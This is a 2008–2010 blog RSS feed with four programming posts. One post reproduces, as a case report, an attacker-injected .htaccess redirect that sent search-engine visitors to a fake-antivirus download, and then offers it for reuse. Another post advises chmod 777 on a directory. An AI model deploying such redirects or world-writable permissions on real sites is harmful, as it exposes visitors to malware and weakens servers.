<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>A Furious Citizens Blog &#187; Programming</title> <atom:link href="http://furious-citizen.org/category/programming/feed/" rel="self" type="application/rss+xml" /><link>http://furious-citizen.org</link> <description>Rants, Rambles and Commentary about Economics, Politics, Technology, Cincinnati, and The United States of America</description> <lastBuildDate>Sun, 25 Dec 2011 02:17:35 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.1</generator> <item><title>David Watanabe&#039;s sites are down?</title><link>http://furious-citizen.org/2010/09/david-watanabes-sites-are-down/</link> <comments>http://furious-citizen.org/2010/09/david-watanabes-sites-are-down/#comments</comments> <pubDate>Tue, 21 Sep 2010 22:00:07 +0000</pubDate> <dc:creator>Furious Citizen</dc:creator> <category><![CDATA[Industry News]]></category> <category><![CDATA[Programming]]></category> <category><![CDATA[Technology]]></category><guid isPermaLink="false">http://furious-citizen.org/?p=184</guid> <description><![CDATA[It looks like the software publisher has had his sites redirecting to spyware sites and is now blacklisted by Google for it. What happened here?  This guy makes some cool software like Newsfire RSS for OS X.]]></description> <content:encoded><![CDATA[<p>It looks like the software publisher has had his sites redirecting to spyware sites and is now blacklisted by Google for it.</p><p><a href="http://furious-citizen.org/wp-content/uploads/2010/09/Screen-shot-2010-09-21-at-4.50.18-PM1.png"><img class="size-full wp-image-187 alignnone" title="David Watanabe Site Hack" src="http://furious-citizen.org/wp-content/uploads/2010/09/Screen-shot-2010-09-21-at-4.50.18-PM1.png" alt="David Watanabe Site Hack" width="366" height="60" /></a></p><p>What happened here?  This guy makes some cool software like Newsfire RSS for OS X.</p> ]]></content:encoded> <wfw:commentRss>http://furious-citizen.org/2010/09/david-watanabes-sites-are-down/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Installing SugarCRM 5.1.0a on a WHM/Cpanel 11 Host</title><link>http://furious-citizen.org/2008/10/installing-sugarcrm-510a-on-a-whmcpanel-11-host/</link> <comments>http://furious-citizen.org/2008/10/installing-sugarcrm-510a-on-a-whmcpanel-11-host/#comments</comments> <pubDate>Wed, 08 Oct 2008 22:14:32 +0000</pubDate> <dc:creator>Furious Citizen</dc:creator> <category><![CDATA[Programming]]></category> <category><![CDATA[Technology]]></category> <category><![CDATA[CPanel]]></category> <category><![CDATA[Installation]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[Sugar CRM]]></category> <category><![CDATA[WHM]]></category><guid isPermaLink="false">http://furious-citizen.org/?p=143</guid> <description><![CDATA[Today I took on installing SugarCRM 5.1.0a for a client of mine who is just falling head over heals in love with all the whole concept of Open Source. This software has a really long list of requirements and I wouldn&#8217;t recommend it to people using shared hosting but this customer has a virtual dedicated [...]]]></description> <content:encoded><![CDATA[<p>Today I took on installing SugarCRM 5.1.0a for a client of mine who is just falling head over heals in love with all the whole concept of Open Source.</p><p>This software has a really long list of requirements and I wouldn&#8217;t recommend it to people using shared hosting but this customer has a virtual dedicated server with WHM/Cpanel 11 on it.  Having a dedicated box (even virtualized) enables root access aka the ability to change whatever I need to in order to make things work..</p><p><strong>The first holdup</strong> I encountered was &#8220;session save path&#8221; not being defined inside of the php.ini configuration file.</p><blockquote><p>You can find the php.ini on a WHM/Cpanel server at &#8220;/usr/local/lib/&#8221;</p></blockquote><p>I went and enabled it by removing the comment tag from inside of the php.ini file for it.  This did not fix the problem because  SugarCRM is picky and doesn&#8217;t like shared hosting environments.  I found <a href="http://www.sugarcrm.com/forums/showpost.php?p=116810&amp;postcount=5" target="_blank">this forum post</a> that describes a work around to define this path but the author posted no examples.  My setup is hosted on a sub domain so my example is for that.</p><p>Inside of your htaccess file for the domain add the following</p><blockquote><p>php_value session.save_path /home/accountuser/public_html/subdomain_directory/tmp/</p></blockquote><p>Create a directory called &#8220;tmp&#8221; inside of your subdomain_directory (or whatever directory you are using) and chmod it &#8220;777&#8243; to make it writeable.</p><p>That got me around the first hurdle.</p><p><strong>The second holdup</strong> was also related to settings in php.ini but this is also a security/cost issue.  The software wants to be able to have users submit large files through the web interface but you could see your hosting costs rise exponentially if employees abuse this.</p><p>In any case this is a small company and they hardly use any of their bandwidth on this server so I went ahead and adjusted these settings.  You will need to look for &#8220;upload_max_filesize&#8221; and &#8220;post_max_size&#8221; inside of php.ini and make the changes as required.  After you do that the rest of the permission settings for files and folders is standard as with any web app installation.</p><p><strong>The third holdup</strong> was the step where you need to add a database for Sugar CRM, as usual I went about trying to use Cpanel to generate a database and user.  Unusually though this did not work, I could not get SugarCRM to use any database with a user I created.  Admittedly I didn&#8217;t play with this or do any googling on the topic I just went into WHM to open PHPMyAdmin as root and created a new user/database inside of that.  The database created through PHPMyAdmin worked perfectly and I was able to move forward.</p><p><strong>The fourth holdup</strong> was the installer outputting some permission denied errors that ended with &#8220;sugar_file_utils.php on line 59&#8243;.  I found <a href="https://www.sugarcrm.com/forums/showthread.php?t=38631" target="_blank">a great topic</a> on the forums that quickly informed me that the Sugar CRM software requires the apache user account to be the owner of the folder that Sugar CRM is resides in.  I search Google for the account that WHM uses but was unable to find anything useful.  I changed tactics and searched for a way to display the user running apache, sure enough I found a way to display that in moments.</p><blockquote><p>Display the user running apache with this command &#8220;ps aux | grep apache&#8221;</p></blockquote><p>The user came back as &#8220;nobody&#8221; so I went and added them as the owner of my &#8220;subdomain_directory&#8221;</p><blockquote><p>Run the command  &#8220;chown -R nobody.nobody /home/accountuser/public_html/subdomain_directory/&#8221;</p></blockquote><p>After that SugarCRM let me login with the username and password I had setup which makes this install one of the least simple I have ever worked with but at the sametime a certainly doable project.<br /> <img src='http://furious-citizen.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /></p> ]]></content:encoded> <wfw:commentRss>http://furious-citizen.org/2008/10/installing-sugarcrm-510a-on-a-whmcpanel-11-host/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Redirecting Visitors from Google and other Search Engines</title><link>http://furious-citizen.org/2008/09/redirecting-visitors-from-google-and-other-search-engines/</link> <comments>http://furious-citizen.org/2008/09/redirecting-visitors-from-google-and-other-search-engines/#comments</comments> <pubDate>Fri, 19 Sep 2008 22:36:18 +0000</pubDate> <dc:creator>Furious Citizen</dc:creator> <category><![CDATA[Google]]></category> <category><![CDATA[Industry News]]></category> <category><![CDATA[Programming]]></category> <category><![CDATA[Technology]]></category> <category><![CDATA[Google Search Hacked]]></category> <category><![CDATA[htaccess]]></category> <category><![CDATA[Webmasters]]></category> <category><![CDATA[Website Administrators]]></category><guid isPermaLink="false">http://furious-citizen.org/?p=125</guid> <description><![CDATA[Have you ever clicked a result in Google and gotten redirected to spyware? That may not be something running on your computer!  There is a new attack out there letting the baddies infect your local businesses website! One of my clients from last year recently had their site hijacked by people with less than honorable [...]]]></description> <content:encoded><![CDATA[<p><strong>Have you ever clicked a result in Google and gotten redirected to spyware? That may not be something running on your computer!  There is a new attack out there letting the baddies infect your local businesses website! </strong></p><p>One of my clients from last year recently had their site hijacked by people with less than honorable intentions. All traffic coming from Google and all the error pages on the site were being redirected to a download for win antivir 2009.</p><p>The details are still emerging on how the site was compromised but from the information that I have I think the cause can be narrowed down to either an unpatched CMS or the host themselves was hijacked.   I have now locked down the CMS control panel down so you can&#8217;t access it via the web anymore, hopefully this keeps the baddies at bay for a little while.</p><p>Fun, Fun, for this company and even more fun for me since I had recently experienced this hijack as a user when Googling a local restaurants site.  Through whatever means they used to hijack the site they were able to inject the following into the .htaccess file.</p><blockquote><p>RewriteEngine On<br /> RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]<br /> RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]<br /> RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]<br /> RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]<br /> RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]<br /> RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]<br /> RewriteRule .* http://255.255.255.255/in.html?s=example [R,L]<br /> Errordocument 404 http://255.255.255.255/in.html?s=example</p></blockquote><p>The reason I am sharing this is that there are a lot of legitimate uses for this type of script,  I hope that some of you other webmasters out there can use it.  One example would be a site administrator who wanted to redirect search engine traffic to sign up pages while still letting Google index the site.</p> ]]></content:encoded> <wfw:commentRss>http://furious-citizen.org/2008/09/redirecting-visitors-from-google-and-other-search-engines/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Amazon S3 Statistics</title><link>http://furious-citizen.org/2008/08/amazon-s3-statistics/</link> <comments>http://furious-citizen.org/2008/08/amazon-s3-statistics/#comments</comments> <pubDate>Thu, 14 Aug 2008 03:55:54 +0000</pubDate> <dc:creator>Furious Citizen</dc:creator> <category><![CDATA[Programming]]></category> <category><![CDATA[Technology]]></category> <category><![CDATA[Amazon S3]]></category> <category><![CDATA[Awstats]]></category> <category><![CDATA[Web Development]]></category> <category><![CDATA[Web Statistics]]></category> <category><![CDATA[Webalizer]]></category><guid isPermaLink="false">http://furious-citizen.org/?p=88</guid> <description><![CDATA[The new site we have been working on these past couple months is going to rely heavily on Amazon S3 to store and serve static content.   A big problem with the Amazon S3 service is statistics, in fact the only statistics Amazon gives you are on usage/cost which is paltry compared to the wealth of [...]]]></description> <content:encoded><![CDATA[<p>The new site we have been working on these past couple months is going to rely heavily on Amazon S3 to store and serve static content.   A big problem with the Amazon S3 service is statistics, in fact the only statistics Amazon gives you are on usage/cost which is paltry compared to the wealth of information I have grown accustomed to through Apache/Awstats.</p><p>Then I found:  <a href="http://www.s3stat.com/" target="_blank">http://www.s3stat.com/</a></p><p>One trip to their website and you&#8217;ll find everything they do clearly explained but assuming your to lazy to click here is a summary straight from their homepage.</p><blockquote><p>S3STAT is a service that takes the detailed server access logs provided by Amazon&#8217;s Simple Storage Service (S3), and translates them into human readable statistics, reports and graphs.</p><p>Every night, we&#8217;ll download your access logs, translate them, sort them, and run them through Webalizer, the industry-standard web analytics reporting package. We&#8217;ll take the processed log files and reports, and stick them right back into your Amazon S3 Bucket for you to view.</p></blockquote><p>In other words I get decent stats from my Amazon S3 account for $2/month.  Its only day one for me but it seems like a good service, I only wish they had an option to view logs using Awstats because 1999 called and they want the shitty interface that Webalizer uses back.</p> ]]></content:encoded> <wfw:commentRss>http://furious-citizen.org/2008/08/amazon-s3-statistics/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 13/21 queries in 0.070 seconds using disk: basic

Served from: furious-citizen.org @ 2012-02-05 19:49:58 -->
